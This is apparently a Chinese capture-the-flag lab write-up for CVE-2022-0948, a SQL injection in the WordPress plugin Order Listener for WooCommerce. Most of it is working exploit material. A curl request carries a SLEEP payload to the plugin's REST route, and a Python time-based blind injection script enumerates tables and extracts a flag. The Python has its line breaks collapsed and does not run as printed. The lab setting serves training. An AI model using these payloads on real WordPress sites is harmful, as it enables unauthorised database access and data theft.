春秋云镜 CVE-2022-0948

春秋云镜 CVE-2022-0948 WordPress plugin Order Listener for WooCommerce SQLI

靶标介绍

WordPress 插件 Order Listener for WooCommerce 3.2.2 之前版本存在 SQL注入漏洞。

启动场景

漏洞利用

EXP

curl 'http://example.com/?rest_route=/olistener/new' --data '{"id":" (SELECT SLEEP(3))#"}' -H 'content-type: application/json'

py

import requests
import timedef time_delay(url, headers, payload):start_time = time.time()response = requests.post(url, headers=headers, data=payload)end_time = time.time()#print(end_time,start_time)delay = end_time - start_timereturn delaydef time_based_blind_sql_injection(url, headers):result=[]for i in range(1, 100):for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':#find db#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)#find table#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find table -wp%payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find column#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)payload = """{"id":" (if(ascii(substr((select flag from ctf.flag),%d,1))=%d,sleep(10),1))#"}""" % (i, j)delay = time_delay(url, headers, payload)print('{ ',''.join(result),' } ->',i,'-',j,"time_delay:",delay)if delay > 9:result.append(chr(j))print(''.join(result))breakelse:print("The payload is not vulnerable to SQL injection.")print('result:',''.join(result))if __name__ == "__main__":url = "http://eci-2zecep32fxlvajf5hatx.cloudeci1.ichunqiu.com/?rest_route=/olistener/new"headers = {'Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9','Cookie': '_ga=GA1.2.617032228.1689668529; _ga_J1DQF09WZC=GS1.2.1689668531.1.0.1689668531.0.0.0','Connection': 'close','Content-Type': 'application/json',}time_based_blind_sql_injection(url, headers)

得到flag

flag{2030a44c-e755-4a73-a9e8-f825b0875576}